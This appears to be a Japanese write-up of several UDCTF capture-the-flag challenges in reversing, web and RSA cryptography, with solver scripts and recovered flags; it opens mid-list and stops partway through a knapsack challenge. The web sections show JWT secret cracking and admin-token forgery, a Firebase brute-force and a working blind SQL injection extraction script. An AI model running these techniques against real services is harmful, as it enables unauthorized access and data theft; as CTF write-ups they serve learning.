832168985343566491327616919139966067828651273699139193178114969884345414280843318288487506543049804946078969399502048206964905081084783445885861963915590439826059774476881765232986298378313961671197147331082349633329921971993788226380306095823500835647221163295397690333876424381749750998512227030556145586309920922307723281503266094323368820258138268699019145052047255298028938339398682564815915047083647094797810939573814271543745272751997520838344109665028652784813414740403695270903301279632909922471348914100814137365218927549716231621399455620361640808073887368754194526115620264791129055452672825619066220333, ...,  7379438307038400191927255947724462702161911899749410951243937264037905573862564887975130690407327618863623924296706413637868117956425659087547218452152621927889704113682533795977084238361103313888052766507987529075276310648848380951095376422731340131698162550580131745400180840398246207712841521155349702493926933327844275697749300293237740514289516948755523558502874954380259031211581657330241777711263364306980118260847664852618290776095327359950203741860781887417289877280772580529648591548441942639401075202981665948597541477979803851348575914902349877897763035092418375411896101150124865661631309144910206722660, 832168985343566491327616919139966067828651273699139193178114969884345414280843318288487506543049804946078969399502048206964905081084783445885861963915590439826059774476881765232986298378313961671197147331082349633329921971993788226380306095823500835647221163295397690333876424381749750998512227030556145586309920922307723281503266094323368820258138268699019145052047255298028938339398682564815915047083647094797810939573814271543745272751997520838344109665028652784813414740403695270903301279632909922471348914100814137365218927549716231621399455620361640808073887368754194526115620264791129055452672825619066220333, 7379438307038400191927255947724462702161911899749410951243937264037905573862564887975130690407327618863623924296706413637868117956425659087547218452152621927889704113682533795977084238361103313888052766507987529075276310648848380951095376422731340131698162550580131745400180840398246207712841521155349702493926933327844275697749300293237740514289516948755523558502874954380259031211581657330241777711263364306980118260847664852618290776095327359950203741860781887417289877280772580529648591548441942639401075202981665948597541477979803851348575914902349877897763035092418375411896101150124865661631309144910206722660]
UDCTF{Squ4re_R00t_r3duces_to_fact0riz4ti0n}
UDCTF{Squ4re_R00t_r3duces_to_fact0riz4ti0n}

Classic Checkers (REV)

checker.codeには以下のように書いてある。

(defun checkFlag (input)
    (if (not (= (length input) 34))
        nil
        (if (not (string= (subseq input 0 6) "UDCTF{"))
            nil
            (if (not (= (char-code (char input 6)) 104))
                nil
                (if (not (= (+ (char-code (char input 9)) 15) (- (char-code (char input 8)) (char-code (char input 7)))))
                    nil
                    (if (not (= (* (char-code (char input 7)) (char-code (char input 9))) 2652))
                        nil
                        (if (not (= (- (char-code (char input 7)) (char-code (char input 9))) 1))
                            nil
                            (if (not (string= (char input 10) (char input 14) ) )
                                nil
                                (if (not (string= (char input 14) (char input 21) ) )
                                    nil
                                    (if (not (string= (char input 10) (char input 25) ) )
                                        nil
                                        (if (not (string= (char input 21) (char input 27) ) )
                                            nil
                                            (if (not (= (ceiling (char-code (char input 10)) 2) (char-code (char input 12)) ) )
                                                nil
                                                (if (not (=  952 (- (expt (char-code (char input 11)) 2) (expt (char-code (char input 13)) 2)) ) )
                                                    nil
                                                    (if (not (string= (subseq input 14 21) (reverse "sy4wla_")))
                                                        nil
                                                        (if (not (string= (subseq input 22 24) (subseq input 6 8)))
                                                            nil
                                                            (if (not (= (mod (char-code (char input 24)) 97)  3))
                                                                nil
                                                                (if (not (string= (subseq input 14 16) (reverse (subseq input 26 28))))
                                                                    nil
                                                                    (if (not (= (complex (char-code (char input 28)) (char-code (char input 29)))  (conjugate (complex 76 -49))))
                                                                        nil
                                                                        (if (not (= (lcm (char-code (char input 30)) (char-code (char input 31))) 6640))
                                                                            nil
                                                                            (if (not (> (char-code (char input 30)) (char-code (char input 31)) ) )
                                                                                nil
                                                                                (if (not (= (char-code (char input 32)) (- (+ (char-code (char input 31)) (char-code (char input 30))) (char-code (char input 24)))))
                                                                                    nil
                                                                                    (if (not (= (char-code (char input 33)) 125))
                                                                                        nil
                                                                                        t))))))))))))))))))))))

(print (checkFlag "FLAGHERE"))

条件のわかる部分から、文字を当てはめていく。
インデックス30と31に関しては、LCMが6640なので、素因数分解する。

6640 = 2**4 * 5 * 83

インデックス30のASCIIコードの方が大きいので、インデックス30のASCIIコードは83、インデックス31のASCIIコードは80となる。

#!/usr/bin/env python3

flag = ['*'] * 34

flag1 = 'UDCTF{'
flag[:6] = list(flag1)

flag[6] = chr(104)

for code in range(33, 127):
    x7 = code
    x9 = code - 1
    if x7 * x9 == 2652:
        flag[7] = chr(x7)
        flag[9] = chr(x9)
        break

flag[8] = chr(ord(flag[9]) + 15 + ord(flag[7]))

found = False
for x11 in range(33, 127):
    for x13 in range(33, 127):
        if x11 ** 2 - x13 ** 2 == 952:
            found = True
            flag[11] = chr(x11)
            flag[13] = chr(x13)
            break
    if found:
        break

flag2 = 'sy4wla_'
for i in range(len(flag2)):
    flag[20 - i] = flag2[i]

flag[10] = flag[14]
flag[21] = flag[14]
flag[25] = flag[10]

flag[12] = chr(ord(flag[10]) // 2 + 1)

flag[22] = flag[6]
flag[23] = flag[7]

flag[24] = chr(97 + 3)

flag[27] = flag[14]
flag[26] = flag[15]

flag[28] = chr(76)
flag[29] = chr(49)

flag[30] = chr(83)
flag[31] = chr(80)

flag[32] = chr(ord(flag[31]) + ord(flag[30]) - ord(flag[24]))

flag[33] = chr(125)

flag = ''.join(flag)
print(flag)
UDCTF{h4v3_y0u_alw4ys_h4d_a_L1SP?}

Blue Hens (REV)

OPコードの仕様通りにスクリプトにして実行する。

#!/usr/bin/env python3

with open('flag.bluehens', 'r') as f:
    lines = f.read().splitlines()

register = 0
counter = 0
number = 1
while True:
    codes = lines[number - 1].split(' ')
    blue = 0
    hens = 0
    blue_flg = True
    for code in codes:
        if blue_flg and code == 'blue':
            blue += 1
        elif blue_flg and code == 'hens':
            hens += 1
            blue_flg = False
        elif blue_flg == False and code == 'hens':
            hens += 1
        else:
            print('**** Error ****')
    if blue == 1:
        register = hens
        number += 1
    elif blue == 2:
        register += hens
        number += 1
    elif blue == 3:
        register -= hens
        number += 1
    elif blue == 4:
        register *= hens
        number += 1
    elif blue == 5:
        number = hens
    elif blue == 6:
        number -= hens
    elif blue == 7:
        number += hens
    elif blue == 8:
        counter += hens
        number += 1
    elif blue == 9:
        counter -= hens
        number += 1
    elif blue == 10:
        if counter == 0:
            number += 2
        else:
            number += 1
    elif blue == 11:
        print(chr(register), end='')
        number += 1
    if number > len(lines):
        break
print()
UDCTF{fight_fight_fight_f0r_D3l4war3}

Super Admin (WEB)

Userボタンを押すと、クッキーのcredsに以下が設定されていた。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTY5ODUzMTkxMn0.0pd-nKZ5Vb4smfdcgw5Sa6xr8SDuhmkb1-Tz_NETZtE

各要素をbase64デコードする。

$ echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 | base64 -d                                    
{"alg":"HS256","typ":"JWT"}

$ echo eyJyb2xlIjoidXNlciIsImlhdCI6MTY5ODUzMTkxMn0= | base64 -d
{"role":"user","iat":1698531912}

署名のパスワードをクラックする。

$ python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTY5ODUzMTkxMn0.0pd-nKZ5Vb4smfdcgw5Sa6xr8SDuhmkb1-Tz_NETZtE > jwt.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt jwt.hash
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password1        (?)     
1g 0:00:00:00 DONE (2023-10-29 07:40) 10.00g/s 81920p/s 81920c/s 81920C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

https://jwt.io/でEncodedに以下を貼り付ける。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTY5ODUzMTkxMn0.0pd-nKZ5Vb4smfdcgw5Sa6xr8SDuhmkb1-Tz_NETZtE

さらにSignatureのパスワードに password1 と入力すると、Signature Verifiedと表示された。
Payloadを以下にように変える。

{"role":"admin","iat":1698531912}

Encodedは以下のように変わる。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2OTg1MzE5MTJ9.UTtQdS1aZWy8D0NhfvY2w2ZZhqMFtF0iw10zvu9Kqug

これをクッキーのcredsに設定し、Go to Profileボタンをクリックすると、以下のように表示された。

Welcome, Admin!
Here is your flag: UDCTF{k33p_17_51mp13_57up1d_15_4_l1e}
UDCTF{k33p_17_51mp13_57up1d_15_4_l1e}

Best Bathroom on Campus (WEB)

https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF.jsonにアクセスすると、以下のレスポンスがある。

true

https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF{.jsonにアクセスすると、以下のレスポンスがある。

true

https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF}.jsonにアクセスすると、以下のレスポンスがある。

null

ブルートフォースで以下のURLの後ろに来るフラグを1文字ずつ求める。

https://best-bathroom-default-rtdb.firebaseio.com/flag/
#!/usr/bin/env python3
import requests
import urllib

base_url = 'https://best-bathroom-default-rtdb.firebaseio.com/flag/'

flag = 'UDCTF{'
while True:
    for code in range(32, 127):
        if code in [47]:
            continue
        url = base_url + urllib.parse.quote(flag + chr(code)) + '.json'
        print(url)
        r = requests.get(url)
        if r.text == 'true':
            flag += chr(code)
            break
    if flag[-1] == '}':
        break

print(flag)

実行結果は以下の通り。

                :
                :
https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00mx.json
https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00my.json
https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00mz.json
https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00m%7B.json
https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00m%7C.json
https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00m%7D.json
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00m}
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00m}

Why lie: Blind SQL (WEB)

https://bluehens-blindsql.chals.io/?guess=1%20union%20select%20*%20from%20numbers%20where%20value%20%3E%201にアクセスすると、以下のレスポンスがある。

Good guess!

https://bluehens-blindsql.chals.io/?guess=1%20union%20select%20*%20from%20numbers%20where%20value%20%3C%201000000000にアクセスすると、以下のレスポンスがある。

Nope

https://bluehens-blindsql.chals.io/?guess=1%20union%20select%20*%20from%20numbers%20where%20value%20%3C%2010000000000にアクセスすると、以下のレスポンスがある。

Good guess!

範囲を絞り、該当するvalueを割り出す。
https://bluehens-blindsql.chals.io/?guess=1%20union%20select%20*%20from%20numbers%20where%20value%20=%201192285233にアクセスすると、以下のレスポンスがある。

Good guess!

https://bluehens-blindsql.chals.io/?guess=1192285233にアクセスすると、以下のレスポンスがある。

Good guess!

https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20count(*)%20from%20sqlite_master%20where%20type=%27table%27)%20=%201にアクセスすると、以下のレスポンスがある。

Nope

https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20count(*)%20from%20sqlite_master%20where%20type=%27table%27)%20=%202にアクセスすると、以下のレスポンスがある。

Good guess!

tableは2つあるようだ。
https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20name%20from%20sqlite_master%20where%20type=%27table%27%20limit%200,%201)%20=%20%27numbers%27にアクセスすると、以下のレスポンスがある。

Nope

https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20name%20from%20sqlite_master%20where%20type=%27table%27%20limit%201,%201)%20=%20%27numbers%27にアクセスすると、以下のレスポンスがある。

Good guess!

1つ目のテーブルのsqlを割り出す。

#!/usr/bin/env python3
import requests

base_url = "https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20length(sql)%20from%20sqlite_master%20where%20type=%27table%27%20limit%201) = "

for i in range(1, 50):
    url = base_url + str(i)
    r = requests.get(url)
    res = r.text.splitlines()[-1].split('>')[1]
    if res == 'Good guess!':
        print('[+] The sql length is', i)
        sqllen = i
        break

base_url = "https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20substr((select%20sql%20from%20sqlite_master%20where%20type=%27table%27%20limit%201),"

sql = ''
for i in range(1, sqllen + 1):
    for x in range(32, 127):
        url = base_url + str(i) + ",1)='" + chr(x) + "'"
        r = requests.get(url)
        res = r.text.splitlines()[-1].split('>')[1]
        if res == 'Good guess!':
            sql += chr(x)
            print('[+] The sql is', sql)
            break

print('[*] The sql is', sql)

実行結果は以下の通り。

[+] The sql length is 31
[+] The sql is C
[+] The sql is CR
[+] The sql is CRE
[+] The sql is CREA
[+] The sql is CREAT
[+] The sql is CREATE
[+] The sql is CREATE
[+] The sql is CREATE T
[+] The sql is CREATE TA
[+] The sql is CREATE TAB
[+] The sql is CREATE TABL
[+] The sql is CREATE TABLE
[+] The sql is CREATE TABLE
[+] The sql is CREATE TABLE s
[+] The sql is CREATE TABLE se
[+] The sql is CREATE TABLE sec
[+] The sql is CREATE TABLE secr
[+] The sql is CREATE TABLE secre
[+] The sql is CREATE TABLE secret
[+] The sql is CREATE TABLE secret
[+] The sql is CREATE TABLE secret (
[+] The sql is CREATE TABLE secret (f
[+] The sql is CREATE TABLE secret (fl
[+] The sql is CREATE TABLE secret (fla
[+] The sql is CREATE TABLE secret (flag
[+] The sql is CREATE TABLE secret (flag
[+] The sql is CREATE TABLE secret (flag t
[+] The sql is CREATE TABLE secret (flag te
[+] The sql is CREATE TABLE secret (flag tex
[+] The sql is CREATE TABLE secret (flag text
[+] The sql is CREATE TABLE secret (flag text)
[*] The sql is CREATE TABLE secret (flag text)

次に同様にsecretテーブルからflagを割り出す。

#!/usr/bin/env python3
import requests

base_url = "https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20length(flag)%20from%20secret) = "

for i in range(1, 50):
    url = base_url + str(i)
    r = requests.get(url)
    res = r.text.splitlines()[-1].split('>')[1]
    if res == 'Good guess!':
        print('[+] The flag length is', i)
        flaglen = i
        break

base_url = "https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20substr((select%20flag%20from%20secret),"

flag = ''
for i in range(1, flaglen + 1):
    for x in range(32, 127):
        url = base_url + str(i) + ",1)='" + chr(x) + "'"
        r = requests.get(url)
        res = r.text.splitlines()[-1].split('>')[1]
        if res == 'Good guess!':
            flag += chr(x)
            print('[+] The flag is', flag)
            break

print('[*] The flag is', flag)

実行結果は以下の通り。

[+] The flag length is 17
[+] The flag is U
[+] The flag is UD
[+] The flag is UDC
[+] The flag is UDCT
[+] The flag is UDCTF
[+] The flag is UDCTF{
[+] The flag is UDCTF{l
[+] The flag is UDCTF{l1
[+] The flag is UDCTF{l1k
[+] The flag is UDCTF{l1k3
[+] The flag is UDCTF{l1k3_
[+] The flag is UDCTF{l1k3_a
[+] The flag is UDCTF{l1k3_a_
[+] The flag is UDCTF{l1k3_a_b
[+] The flag is UDCTF{l1k3_a_b4
[+] The flag is UDCTF{l1k3_a_b4t
[+] The flag is UDCTF{l1k3_a_b4t}
[*] The flag is UDCTF{l1k3_a_b4t}
UDCTF{l1k3_a_b4t}

Greatest Hits 1 of 4 (CRYPTO, BABY)

CyberChefで以下の順でデコードする。

・From Binary
・From Base32
・From Base64
・From Base62


デコードした結果、以下のURLになった。

https://gist.github.com/AndyNovo/cd42f0f6daae3ef9c9a598a79fe3b877

ここにアクセスすると、flag1of4.txtにフラグが書いてあった。

UDCTF{D34r_Cyb3r_Ch3f_Th4nks_f0r_everyth1ng}

Greatest Hits 2 of 4 (CRYPTO, BABY)

Part 1でアクセスしたURLに以下のコードと、出力結果がある。

[rsa.py]
from Crypto.Util.number import *
p=getPrime(1024)
q=getPrime(1024)
n=p*q
e1=32
e2=94
msg=bytes_to_long("REDACTED")
assert(pow(msg,2) < n)
c1 = pow(msg, e1, n)
c2 = pow(msg, e2, n)
print(n)
print(e1)
print(e2)
print(c1)
print(c2)

rsaout.txt
15144989296069059933372368453196092175005161975349151110345314566785160131088640293080496647831336241835434081246752372095089223274410617149601529995353586979709767320781773241635911841825135157128620635284850556358212336804356913383250552153118005157608892746468253056994929497147176358510660250974046147584489593314250043332900225627695013699452589204281775937461626931870469970564649337891804670484615877731064389199146553155645996166903057997780769847954473558252319887360004797752922471164238094762917170732419058459198871816368754874928563582062094607146743861963241102686280889624636580265012154494857871226911
32
94
517413713703886999866857886363089094585257050613499021392236739949207714015445698823055234855661713319078211477553629447153099784179447532323740595057178898139959674381355432131055787089201673781698752057672521217038516832753572594045829378268006522196608125682968252235804171902500675561571516482830716057356093346644739755000641419389456649384154636696468100735075639775740773984117668523785494430624107703773927953688140653884319491595701619752757483259322185639861570200460175036940484201361523531829151771132059047908439112074722779866239565825707838090161372153338024174748440497243107864663782108641727771659
7627448403143228380990811828784190441589966806784538493012623116575366382931836531487460665746937844089811800210162413422176546183916362252942569359187329261606901744873414894672206518833504277712248120517227097337821671357183002903689123275299969496743046843235865472598002895668376113637844709030956945481612135136663699655327584977008477587437014970931004029432308882904616641276931607404737262279319635052041442201857436898171408177118684300765925831306704477989772422231625570934627171304088385754161129883791893955034648200851254688716049371226939666530556140959866437156338956068301001303202802889970914365861

e1とe2は互いに素でないので、以下のように考える。
m**2 = M, _e1 = 16, _e2 = 47とすると、以下のようになる。

pow(M, _e1, n) == c1
pow(M, _e2, n) == c2

この_e1, _e2に対して、Common Modulus Attackで復号すると、Mが得られる。このMの平方根を取り、文字にすれば元のメッセージを復号できる。

#!/usr/bin/env python3
import gmpy2
from Crypto.Util.number import *

def commom_modulus_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy2.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy2.invert(c2, n)

    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v*w) % n
    return x

n = 15144989296069059933372368453196092175005161975349151110345314566785160131088640293080496647831336241835434081246752372095089223274410617149601529995353586979709767320781773241635911841825135157128620635284850556358212336804356913383250552153118005157608892746468253056994929497147176358510660250974046147584489593314250043332900225627695013699452589204281775937461626931870469970564649337891804670484615877731064389199146553155645996166903057997780769847954473558252319887360004797752922471164238094762917170732419058459198871816368754874928563582062094607146743861963241102686280889624636580265012154494857871226911
e1 = 32
e2 = 94
_e1 = e1 // 2
_e2 = e2 // 2
c1 = 517413713703886999866857886363089094585257050613499021392236739949207714015445698823055234855661713319078211477553629447153099784179447532323740595057178898139959674381355432131055787089201673781698752057672521217038516832753572594045829378268006522196608125682968252235804171902500675561571516482830716057356093346644739755000641419389456649384154636696468100735075639775740773984117668523785494430624107703773927953688140653884319491595701619752757483259322185639861570200460175036940484201361523531829151771132059047908439112074722779866239565825707838090161372153338024174748440497243107864663782108641727771659
c2 = 7627448403143228380990811828784190441589966806784538493012623116575366382931836531487460665746937844089811800210162413422176546183916362252942569359187329261606901744873414894672206518833504277712248120517227097337821671357183002903689123275299969496743046843235865472598002895668376113637844709030956945481612135136663699655327584977008477587437014970931004029432308882904616641276931607404737262279319635052041442201857436898171408177118684300765925831306704477989772422231625570934627171304088385754161129883791893955034648200851254688716049371226939666530556140959866437156338956068301001303202802889970914365861

M = commom_modulus_attack(c1, c2, _e1, _e2, n)
assert pow(M, _e1, n) == c1
assert pow(M, _e2, n) == c2

m, success = gmpy2.iroot(M, 2)
assert success

flag = long_to_bytes(m).decode()
print(flag)

復号結果は以下の通り。

https://gist.github.com/AndyNovo/aaa4bf206eaaa26dc7ccdbf5254236e0

ここにアクセスすると、flag2of4.txtにフラグが書いてあった。

UDCTF{l4rg3_int3ger_sqrt_w1th0ut_fl04ts}

Greatest Hits 3 of 4 (CRYPTO, BABY)

Part 2でアクセスしたURLに以下のコードがある。

flaglink="REDACTED"

def xor(msg, key):
    o = ''
    for i in range(len(msg)):
        o += chr(ord(msg[i]) ^ ord(key[i % len(key)]))
    return o

clue="https://gist.github.com/AndyNovo"
import os
key = os.urandom(len(clue))
assert(flaglink.count(clue) > 0)

print(xor(flaglink, key).encode('hex'))
#98edbf5c8dd29e9bbc57d0e2990e4e692efb81c2318c69c626d7ea42f2efc70fece4ae5c89c7999fef1e8bac99021d7266bc9cde3cd97b9a2adaeb08dea1ca0582eaac13ced7dfdbad1194b1c60f5d372eeec29832ca20d12a85b545f9f69b1aaeb6ec4cd4

平文はclueの文字列が含まれているので、その位置をブルートフォースし、鍵を求めながら、復号する。その際printableな文字列に復号できるものをすべて出力する。

#!/usr/bin/env python3
def is_printable(s):
    for c in s:
        if ord(c) < 10 or ord(c) > 126:
            return False
    return True

enc = '98edbf5c8dd29e9bbc57d0e2990e4e692efb81c2318c69c626d7ea42f2efc70fece4ae5c89c7999fef1e8bac99021d7266bc9cde3cd97b9a2adaeb08dea1ca0582eaac13ced7dfdbad1194b1c60f5d372eeec29832ca20d12a85b545f9f69b1aaeb6ec4cd4'
enc = bytes.fromhex(enc)

clue = b"https://gist.github.com/AndyNovo"

for i in range(len(enc) - len(clue) + 1):
    key = [-1] * len(clue)
    for j in range(len(clue)):
        key[(i+j) % len(clue)] = enc[i+j] ^ clue[j]

    msg = ''
    for i in range(len(enc)):
        msg += chr(enc[i] ^ key[i % len(key)])
    if is_printable(msg):
        print(msg)

復号結果は以下の通り。

lhytpet>|f<'sx}|!3uio{q3a"@$H7Ceahttps://gist.github.com/AndyNovoj;3`5~m xt,yn"!&63l=8$mp#C.pZ3*d)
The last stage of the problem is at https://gist.github.com/AndyNovo/d2415028d31f572ff9ec03bf95fb3605★
i=<`$l24?!-'7tqpcz.uB(-nB=)hD:yz4-` y50lhvi7x"k+=3iO}?2N0("https://gist.github.com/AndyNovoO#%o_fop}
Yog;3v{o>!- +/t7t}68-%&z#1crW3c-fv;7c|kmhvn+#',<:+$ p4&/0)^>iChttps://gist.github.com/AndyNovo44+j
@4{;7u2z>i#:,u=9ia+/ah*xa}io`z4=j;3`5~m xt,yn"!&63l=8$mp#C.pZ3https://gist.github.com/AndyNovo(+n
Y-<'7q13+ik46rgpg|72v$gtc?pFe}%[-$-'3d67x 0z6~4k/;*.{qu(o2qI3(QC*/https://gist.github.com/AndyNovo7n

以下のURLにアクセスしてみる。

https://gist.github.com/AndyNovo/d2415028d31f572ff9ec03bf95fb3605

すると、flag3of4.txtにフラグが書いてあった。

UDCTF{x0r_and_I_g0_w4y_back}

Greatest Hits 4 of 4 (CRYPTO, BABY)

Part 3でアクセスしたURLに以下のコードがある。

flag="REDACTED"
import random
import time
print(time.time())
#1697043249.53
time.sleep(random.randint(0, 50))
random.seed(int(time.time()))
ct=""
for c in flag:
    ct += chr(random.randint(0,255) ^ ord(c))
print(ct.encode('hex'))
#a0469bbb0b3a4f06306739032244b0c5119ba66a0d3b5a2322acdd7070bf85690cdf8573212c1b927e0ba624

コードはPython2のものであることに気を付けて、seedのブルートフォースで復号する。

#!/usr/bin/env python2
import random
import time

ct = 'a0469bbb0b3a4f06306739032244b0c5119ba66a0d3b5a2322acdd7070bf85690cdf8573212c1b927e0ba624'
ct = ct.decode('hex')

for seed in range(1697043249, 1697043249 + 50):
    random.seed(seed)

    flag = ''
    for c in ct:
        flag += chr(random.randint(0, 255) ^ ord(c))

    if flag.startswith('UDCTF'):
        print(flag)
        break
UDCTF{4hh_m3m0r1es_th4t5_wh4t_1ts_4ll_about}

RSA School 1st Grade (CRYPTO, BABY)

RSA暗号で、p, n, e, ctがわかっているので、qも割り出せる。あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

p = int(params[0])
n = int(params[1])
e = int(params[2])
ct = int(params[3])

q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m).decode()
print(flag)
UDCTF{y3a_b0i_b4by_RSA!}

RSA School 2nd Grade (CRYPTO, BABY)

nをfactordbで素因数分解する。

n = 51700365364366863879483895851106199085813538441759 * 3211696652397139991266469757475273013994441374637143

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0])
e = int(params[1])
ct = int(params[2])

p = 51700365364366863879483895851106199085813538441759
q = 3211696652397139991266469757475273013994441374637143
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m).decode()
print(flag)
UDCTF{pr1m3_f4ct0r_the1f!}

RSA School 3rd Grade (CRYPTO, BABY)

Common Modulus Attackで復号する。

#!/usr/bin/env python3
import gmpy2
from Crypto.Util.number import *

def commom_modulus_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy2.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy2.invert(c2, n)

    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v*w) % n
    return x

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0])
e1 = int(params[1])
e2 = int(params[2])
c1 = int(params[3])
c2 = int(params[4])

m = commom_modulus_attack(c1, c2, e1, e2, n)

flag = long_to_bytes(m).decode()
print(flag)
UDCTF{3uc1id_th4_60at}

RSA School 4th Grade (CRYPTO, BABY)

your_e, your_d, nからp, qを求める。あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

your_e = int(params[0])
your_d = int(params[1])
n = int(params[2])
e = int(params[3])
ct = int(params[4])

key = RSA.construct((n, your_e, your_d))
p = key.p
q = key.q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m).decode()
print(flag)
UDCTF{m0d_mult1pl1c4tiv3_inv3r5e_nd_57uff}

RSA School 5th Grade (CRYPTO, BABY)

eが小さいので、Low Public-Exponent Attackで復号する。

#!/usr/bin/env python3
import gmpy2
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

N = int(params[0])
e = int(params[1])
ct = int(params[2])

m, success = gmpy2.iroot(ct, e)
assert success == True
flag = long_to_bytes(m).decode()
print(flag)
UDCTF{0k_m4yb3_d0nt_u5e_e_3qu4l5_3}

RSA School 6th Grade (CRYPTO, BABY)

e=3に対して、異なるN, ctのペアが3つあるので、Hastad's Broadcast Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

N1 = int(params[0])
N2 = int(params[1])
N3 = int(params[2])
e = int(params[3])
ct1 = int(params[4])
ct2 = int(params[5])
ct3 = int(params[6])

ns = [N1, N2, N3]
cs = [ct1, ct2, ct3]
e = 3
me, _ = crt(ns, cs)
m, success = iroot(me, e)
assert success
flag = long_to_bytes(m).decode()
print(flag)
UDCTF{ch1n3se_r3m4ind3r_th30r3m_f0r_th4_w1n!}

RSA School 7th Grade (CRYPTO, BABY)

比較的pとqは近い数と考えられるので、Fermat法で素因数分解する。あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

N = int(params[0])
e = int(params[1])
ct = int(params[2])

p, q = fermat(N)

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, N)
flag = long_to_bytes(m).decode()
print(flag)
UDCTF{F3rma7_c4n_sur3_fac70r!}

RSA School 8th Grade (CRYPTO, BABY)

Fermat法で素因分解して復号する。7th Gradeと同じスクリプトを使用する。

#!/usr/bin/env python3
from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

N = int(params[0])
e = int(params[1])
ct = int(params[2])

p, q = fermat(N)

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, N)
flag = long_to_bytes(m).decode()
print(flag)
UDCTF{4n_RSA_5ch0ol_gr4dua73!!}

Appetizers (CRYPTO)

以下のコードと出力結果がある。

[knapsack.py]
#Subset Sum Problem
#https://imgs.xkcd.com/comics/np_complete.png
import random
choices = list(set([random.randint(100000,1000000000) for _ in range(30)]))
random.shuffle(choices)
winners = choices[:15]
target = sum(winners)
winners.sort()
flag = "UDCTF{%s}" % ("_".join(map(str,winners)))
#print(flag)
choices.sort()
print(choices)
print(target)

[output.txt]
